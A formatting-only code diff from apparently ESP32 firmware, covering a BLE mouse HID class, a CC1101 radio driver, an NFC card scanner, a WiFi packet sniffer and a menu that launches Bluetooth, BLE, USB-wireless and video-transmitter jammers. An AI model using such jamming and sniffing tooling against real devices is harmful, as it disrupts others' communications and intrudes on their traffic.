|
@ -37,7 +38,8 @@ static const uint8_t _hidReportDescriptor[] = {
|
||||||
// ------------------------------------------------- Padding
|
// ------------------------------------------------- Padding
|
||||||
REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
|
REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
|
||||||
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
|
||||||
HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
|
HIDINPUT(1),
|
||||||
|
0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
|
||||||
// ------------------------------------------------- X/Y position, Wheel
|
// ------------------------------------------------- X/Y position, Wheel
|
||||||
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
|
||||||
USAGE(1), 0x30, // USAGE (X)
|
USAGE(1), 0x30, // USAGE (X)
|
||||||
|
|
@ -47,7 +49,8 @@ static const uint8_t _hidReportDescriptor[] = {
|
||||||
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
|
||||||
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
|
||||||
REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
|
REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
|
||||||
HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
|
HIDINPUT(1),
|
||||||
|
0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
|
||||||
// ------------------------------------------------- Horizontal wheel
|
// ------------------------------------------------- Horizontal wheel
|
||||||
USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
|
USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
|
||||||
USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
|
USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
|
||||||
|
|
@ -60,37 +63,31 @@ static const uint8_t _hidReportDescriptor[] = {
|
||||||
END_COLLECTION(0) // END_COLLECTION
|
END_COLLECTION(0) // END_COLLECTION
|
||||||
};
|
};
|
||||||
|
|
||||||
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
|
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer,
|
||||||
_buttons(0),
|
uint8_t batteryLevel)
|
||||||
hid(0)
|
: _buttons(0), hid(0) {
|
||||||
{
|
|
||||||
this->deviceName = deviceName;
|
this->deviceName = deviceName;
|
||||||
this->deviceManufacturer = deviceManufacturer;
|
this->deviceManufacturer = deviceManufacturer;
|
||||||
this->batteryLevel = batteryLevel;
|
this->batteryLevel = batteryLevel;
|
||||||
this->connectionStatus = new BleConnectionStatus();
|
this->connectionStatus = new BleConnectionStatus();
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::begin(void)
|
void BleMouse::begin(void) {
|
||||||
{
|
|
||||||
xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
|
xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::end(void)
|
void BleMouse::end(void) {}
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::click(uint8_t b)
|
void BleMouse::click(uint8_t b) {
|
||||||
{
|
|
||||||
_buttons = b;
|
_buttons = b;
|
||||||
move(0,0,0,0);
|
move(0, 0, 0, 0);
|
||||||
_buttons = 0;
|
_buttons = 0;
|
||||||
move(0,0,0,0);
|
move(0, 0, 0, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
|
void BleMouse::move(signed char x, signed char y, signed char wheel,
|
||||||
{
|
signed char hWheel) {
|
||||||
if (this->isConnected())
|
if (this->isConnected()) {
|
||||||
{
|
|
||||||
uint8_t m[5];
|
uint8_t m[5];
|
||||||
m[0] = _buttons;
|
m[0] = _buttons;
|
||||||
m[1] = x;
|
m[1] = x;
|
||||||
|
|
@ -102,35 +99,24 @@ void BleMouse::move(signed char x, signed char y, signed char wheel, signed char
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::buttons(uint8_t b)
|
void BleMouse::buttons(uint8_t b) {
|
||||||
{
|
if (b != _buttons) {
|
||||||
if (b != _buttons)
|
|
||||||
{
|
|
||||||
_buttons = b;
|
_buttons = b;
|
||||||
move(0,0,0,0);
|
move(0, 0, 0, 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::press(uint8_t b)
|
void BleMouse::press(uint8_t b) { buttons(_buttons | b); }
|
||||||
{
|
|
||||||
buttons(_buttons | b);
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::release(uint8_t b)
|
void BleMouse::release(uint8_t b) { buttons(_buttons & ~b); }
|
||||||
{
|
|
||||||
buttons(_buttons & ~b);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool BleMouse::isPressed(uint8_t b)
|
bool BleMouse::isPressed(uint8_t b) {
|
||||||
{
|
|
||||||
if ((b & _buttons) > 0)
|
if ((b & _buttons) > 0)
|
||||||
return true;
|
return true;
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool BleMouse::isConnected(void) {
|
bool BleMouse::isConnected(void) { return this->connectionStatus->connected; }
|
||||||
return this->connectionStatus->connected;
|
|
||||||
}
|
|
||||||
|
|
||||||
void BleMouse::setBatteryLevel(uint8_t level) {
|
void BleMouse::setBatteryLevel(uint8_t level) {
|
||||||
this->batteryLevel = level;
|
this->batteryLevel = level;
|
||||||
|
|
@ -138,36 +124,42 @@ void BleMouse::setBatteryLevel(uint8_t level) {
|
||||||
this->hid->setBatteryLevel(this->batteryLevel);
|
this->hid->setBatteryLevel(this->batteryLevel);
|
||||||
}
|
}
|
||||||
|
|
||||||
void BleMouse::taskServer(void* pvParameter) {
|
void BleMouse::taskServer(void *pvParameter) {
|
||||||
BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
|
BleMouse *bleMouseInstance =
|
||||||
|
(BleMouse *)pvParameter; // static_cast<BleMouse *>(pvParameter);
|
||||||
BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
|
BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
|
||||||
BLEServer *pServer = BLEDevice::createServer();
|
BLEServer *pServer = BLEDevice::createServer();
|
||||||
pServer->setCallbacks(bleMouseInstance->connectionStatus);
|
pServer->setCallbacks(bleMouseInstance->connectionStatus);
|
||||||
|
|
||||||
bleMouseInstance->hid = new BLEHIDDevice(pServer);
|
bleMouseInstance->hid = new BLEHIDDevice(pServer);
|
||||||
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
|
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(
|
||||||
bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
|
0); // <-- input REPORTID from report map
|
||||||
|
bleMouseInstance->connectionStatus->inputMouse =
|
||||||
|
bleMouseInstance->inputMouse;
|
||||||
|
|
||||||
bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str()));
|
bleMouseInstance->hid->manufacturer()->setValue(
|
||||||
|
std::string(bleMouseInstance->deviceManufacturer.c_str()));
|
||||||
|
|
||||||
bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
|
bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
|
||||||
bleMouseInstance->hid->hidInfo(0x00,0x02);
|
bleMouseInstance->hid->hidInfo(0x00, 0x02);
|
||||||
|
|
||||||
BLESecurity *pSecurity = new BLESecurity();
|
BLESecurity *pSecurity = new BLESecurity();
|
||||||
|
|
||||||
pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
|
pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
|
||||||
|
|
||||||
bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
|
bleMouseInstance->hid->reportMap((uint8_t *)_hidReportDescriptor,
|
||||||
|
sizeof(_hidReportDescriptor));
|
||||||
bleMouseInstance->hid->startServices();
|
bleMouseInstance->hid->startServices();
|
||||||
|
|
||||||
bleMouseInstance->onStarted(pServer);
|
bleMouseInstance->onStarted(pServer);
|
||||||
|
|
||||||
BLEAdvertising *pAdvertising = pServer->getAdvertising();
|
BLEAdvertising *pAdvertising = pServer->getAdvertising();
|
||||||
pAdvertising->setAppearance(HID_MOUSE);
|
pAdvertising->setAppearance(HID_MOUSE);
|
||||||
pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
|
pAdvertising->addServiceUUID(
|
||||||
|
bleMouseInstance->hid->hidService()->getUUID());
|
||||||
pAdvertising->start();
|
pAdvertising->start();
|
||||||
bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
|
bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
|
||||||
|
|
||||||
ESP_LOGD(LOG_TAG, "Advertising started!");
|
ESP_LOGD(LOG_TAG, "Advertising started!");
|
||||||
vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
|
vTaskDelay(portMAX_DELAY); // delay(portMAX_DELAY);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,32 +3,38 @@
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
#if defined(CONFIG_BT_ENABLED)
|
#if defined(CONFIG_BT_ENABLED)
|
||||||
|
|
||||||
#include "BleConnectionStatus.h"
|
|
||||||
#include "BLEHIDDevice.h"
|
|
||||||
#include "BLECharacteristic.h"
|
#include "BLECharacteristic.h"
|
||||||
|
#include "BLEHIDDevice.h"
|
||||||
|
#include "BleConnectionStatus.h"
|
||||||
|
|
||||||
#define MOUSE_LEFT 1
|
#define MOUSE_LEFT 1
|
||||||
#define MOUSE_RIGHT 2
|
#define MOUSE_RIGHT 2
|
||||||
#define MOUSE_MIDDLE 4
|
#define MOUSE_MIDDLE 4
|
||||||
#define MOUSE_BACK 8
|
#define MOUSE_BACK 8
|
||||||
#define MOUSE_FORWARD 16
|
#define MOUSE_FORWARD 16
|
||||||
#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
|
#define MOUSE_ALL \
|
||||||
|
(MOUSE_LEFT | MOUSE_RIGHT | \
|
||||||
|
MOUSE_MIDDLE) #For compatibility with the Mouse library
|
||||||
|
|
||||||
class BleMouse {
|
class BleMouse {
|
||||||
private:
|
private:
|
||||||
uint8_t _buttons;
|
uint8_t _buttons;
|
||||||
BleConnectionStatus* connectionStatus;
|
BleConnectionStatus *connectionStatus;
|
||||||
BLEHIDDevice* hid;
|
BLEHIDDevice *hid;
|
||||||
BLECharacteristic* inputMouse;
|
BLECharacteristic *inputMouse;
|
||||||
void buttons(uint8_t b);
|
void buttons(uint8_t b);
|
||||||
void rawAction(uint8_t msg[], char msgSize);
|
void rawAction(uint8_t msg[], char msgSize);
|
||||||
static void taskServer(void* pvParameter);
|
static void taskServer(void *pvParameter);
|
||||||
public:
|
|
||||||
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
|
public:
|
||||||
|
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse",
|
||||||
|
std::string deviceManufacturer = "Espressif",
|
||||||
|
uint8_t batteryLevel = 100);
|
||||||
void begin(void);
|
void begin(void);
|
||||||
void end(void);
|
void end(void);
|
||||||
void click(uint8_t b = MOUSE_LEFT);
|
void click(uint8_t b = MOUSE_LEFT);
|
||||||
void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
|
void move(signed char x, signed char y, signed char wheel = 0,
|
||||||
|
signed char hWheel = 0);
|
||||||
void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
|
void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
|
||||||
void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
|
void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
|
||||||
bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
|
bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
|
||||||
|
|
@ -37,8 +43,9 @@ public:
|
||||||
uint8_t batteryLevel;
|
uint8_t batteryLevel;
|
||||||
std::string deviceManufacturer;
|
std::string deviceManufacturer;
|
||||||
std::string deviceName;
|
std::string deviceName;
|
||||||
protected:
|
|
||||||
virtual void onStarted(BLEServer *pServer) { };
|
protected:
|
||||||
|
virtual void onStarted(BLEServer *pServer) {};
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // CONFIG_BT_ENABLED
|
#endif // CONFIG_BT_ENABLED
|
||||||
|
|
|
||||||
File diff suppressed because it is too large
Load Diff
|
|
@ -10,7 +10,8 @@
|
||||||
Just have fun!
|
Just have fun!
|
||||||
For the details, please refer to the datasheet of CC1100/CC1101.
|
For the details, please refer to the datasheet of CC1100/CC1101.
|
||||||
----------------------------------------------------------------------------------------------------------------
|
----------------------------------------------------------------------------------------------------------------
|
||||||
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
|
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
|
publish Wilson Shen (ELECHOUSE).
|
||||||
----------------------------------------------------------------------------------------------------------------
|
----------------------------------------------------------------------------------------------------------------
|
||||||
*/
|
*/
|
||||||
#ifndef ELECHOUSE_CC1101_SRC_DRV_h
|
#ifndef ELECHOUSE_CC1101_SRC_DRV_h
|
||||||
|
|
@ -18,7 +19,8 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
|
|
||||||
#include <Arduino.h>
|
#include <Arduino.h>
|
||||||
|
|
||||||
//***************************************CC1101 define**************************************************//
|
//***************************************CC1101
|
||||||
|
//define**************************************************//
|
||||||
// CC1101 CONFIG REGSITER
|
// CC1101 CONFIG REGSITER
|
||||||
#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
|
#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
|
||||||
#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
|
#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
|
||||||
|
|
@ -68,20 +70,25 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
#define CC1101_TEST1 0x2D // Various test settings
|
#define CC1101_TEST1 0x2D // Various test settings
|
||||||
#define CC1101_TEST0 0x2E // Various test settings
|
#define CC1101_TEST0 0x2E // Various test settings
|
||||||
|
|
||||||
//CC1101 Strobe commands
|
// CC1101 Strobe commands
|
||||||
#define CC1101_SRES 0x30 // Reset chip.
|
#define CC1101_SRES 0x30 // Reset chip.
|
||||||
#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
|
#define CC1101_SFSTXON \
|
||||||
|
0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
|
||||||
// If in RX/TX: Go to a wait state where only the synthesizer is
|
// If in RX/TX: Go to a wait state where only the synthesizer is
|
||||||
// running (for quick RX / TX turnaround).
|
// running (for quick RX / TX turnaround).
|
||||||
#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
|
#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
|
||||||
#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off
|
#define CC1101_SCAL \
|
||||||
|
0x33 // Calibrate frequency synthesizer and turn it off
|
||||||
// (enables quick start).
|
// (enables quick start).
|
||||||
#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and
|
#define CC1101_SRX \
|
||||||
|
0x34 // Enable RX. Perform calibration first if coming from IDLE and
|
||||||
// MCSM0.FS_AUTOCAL=1.
|
// MCSM0.FS_AUTOCAL=1.
|
||||||
#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if
|
#define CC1101_STX \
|
||||||
|
0x35 // In IDLE state: Enable TX. Perform calibration first if
|
||||||
// MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
|
// MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
|
||||||
// Only go to TX if channel is clear.
|
// Only go to TX if channel is clear.
|
||||||
#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit
|
#define CC1101_SIDLE \
|
||||||
|
0x36 // Exit RX / TX, turn off frequency synthesizer and exit
|
||||||
// Wake-On-Radio mode if applicable.
|
// Wake-On-Radio mode if applicable.
|
||||||
#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
|
#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
|
||||||
#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
|
#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
|
||||||
|
|
@ -89,9 +96,10 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
|
#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
|
||||||
#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
|
#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
|
||||||
#define CC1101_SWORRST 0x3C // Reset real time clock.
|
#define CC1101_SWORRST 0x3C // Reset real time clock.
|
||||||
#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two
|
#define CC1101_SNOP \
|
||||||
|
0x3D // No operation. May be used to pad strobe commands to two
|
||||||
// INT8Us for simpler software.
|
// INT8Us for simpler software.
|
||||||
//CC1101 STATUS REGSITER
|
// CC1101 STATUS REGSITER
|
||||||
#define CC1101_PARTNUM 0x30
|
#define CC1101_PARTNUM 0x30
|
||||||
#define CC1101_VERSION 0x31
|
#define CC1101_VERSION 0x31
|
||||||
#define CC1101_FREQEST 0x32
|
#define CC1101_FREQEST 0x32
|
||||||
|
|
@ -105,20 +113,20 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
|
||||||
#define CC1101_TXBYTES 0x3A
|
#define CC1101_TXBYTES 0x3A
|
||||||
#define CC1101_RXBYTES 0x3B
|
#define CC1101_RXBYTES 0x3B
|
||||||
|
|
||||||
//CC1101 PATABLE,TXFIFO,RXFIFO
|
// CC1101 PATABLE,TXFIFO,RXFIFO
|
||||||
#define CC1101_PATABLE 0x3E
|
#define CC1101_PATABLE 0x3E
|
||||||
#define CC1101_TXFIFO 0x3F
|
#define CC1101_TXFIFO 0x3F
|
||||||
#define CC1101_RXFIFO 0x3F
|
#define CC1101_RXFIFO 0x3F
|
||||||
|
|
||||||
//************************************* class **************************************************//
|
//************************************* class
|
||||||
class ELECHOUSE_CC1101
|
//**************************************************//
|
||||||
{
|
class ELECHOUSE_CC1101 {
|
||||||
private:
|
private:
|
||||||
void SpiStart(void);
|
void SpiStart(void);
|
||||||
void SpiEnd(void);
|
void SpiEnd(void);
|
||||||
void GDO_Set (void);
|
void GDO_Set(void);
|
||||||
void GDO0_Set (void);
|
void GDO0_Set(void);
|
||||||
void Reset (void);
|
void Reset(void);
|
||||||
void setSpi(void);
|
void setSpi(void);
|
||||||
void RegConfigSettings(void);
|
void RegConfigSettings(void);
|
||||||
void Calibrate(void);
|
void Calibrate(void);
|
||||||
|
|
@ -127,7 +135,8 @@ private:
|
||||||
void Split_MDMCFG1(void);
|
void Split_MDMCFG1(void);
|
||||||
void Split_MDMCFG2(void);
|
void Split_MDMCFG2(void);
|
||||||
void Split_MDMCFG4(void);
|
void Split_MDMCFG4(void);
|
||||||
public:
|
|
||||||
|
public:
|
||||||
void Init(void);
|
void Init(void);
|
||||||
byte SpiReadStatus(byte addr);
|
byte SpiReadStatus(byte addr);
|
||||||
void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
|
void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
|
||||||
|
|
|
||||||
|
|
@ -85,8 +85,8 @@ void pn532_scan_loop() {
|
||||||
uint8_t uidLength;
|
uint8_t uidLength;
|
||||||
|
|
||||||
Serial.println("Scanning...");
|
Serial.println("Scanning...");
|
||||||
success =
|
success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid,
|
||||||
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
|
&uidLength, 50);
|
||||||
|
|
||||||
if (success) {
|
if (success) {
|
||||||
Serial.println("Card detected");
|
Serial.println("Card detected");
|
||||||
|
|
|
||||||
|
|
@ -197,7 +197,8 @@ void NRFToolsMenu(int index) {
|
||||||
break;
|
break;
|
||||||
case 3:
|
case 3:
|
||||||
startJammer("USB Wireless", usbWireless_channels,
|
startJammer("USB Wireless", usbWireless_channels,
|
||||||
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
|
sizeof(usbWireless_channels) /
|
||||||
|
sizeof(usbWireless_channels[0]));
|
||||||
break;
|
break;
|
||||||
case 4:
|
case 4:
|
||||||
startJammer("Video TX", videoTransmitter_channels,
|
startJammer("Video TX", videoTransmitter_channels,
|
||||||
|
|
|
||||||
|
|
@ -8,6 +8,6 @@ void initNRF(RF24 &radio);
|
||||||
void startBluetoothJammer();
|
void startBluetoothJammer();
|
||||||
void startBleJammer();
|
void startBleJammer();
|
||||||
|
|
||||||
void startJammer(const char* name, const byte* channels, size_t channelCount);
|
void startJammer(const char *name, const byte *channels, size_t channelCount);
|
||||||
|
|
||||||
void NRFToolsMenu(int index);
|
void NRFToolsMenu(int index);
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
struct Menu
|
struct Menu {
|
||||||
{
|
|
||||||
const char **items;
|
const char **items;
|
||||||
int size;
|
int size;
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -25,7 +25,8 @@ static SnifferGraph sniffer;
|
||||||
|
|
||||||
// ===== CALLBACK =====
|
// ===== CALLBACK =====
|
||||||
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||||
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
|
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA ||
|
||||||
|
type == WIFI_PKT_CTRL) {
|
||||||
sniffer.packetCounter++;
|
sniffer.packetCounter++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue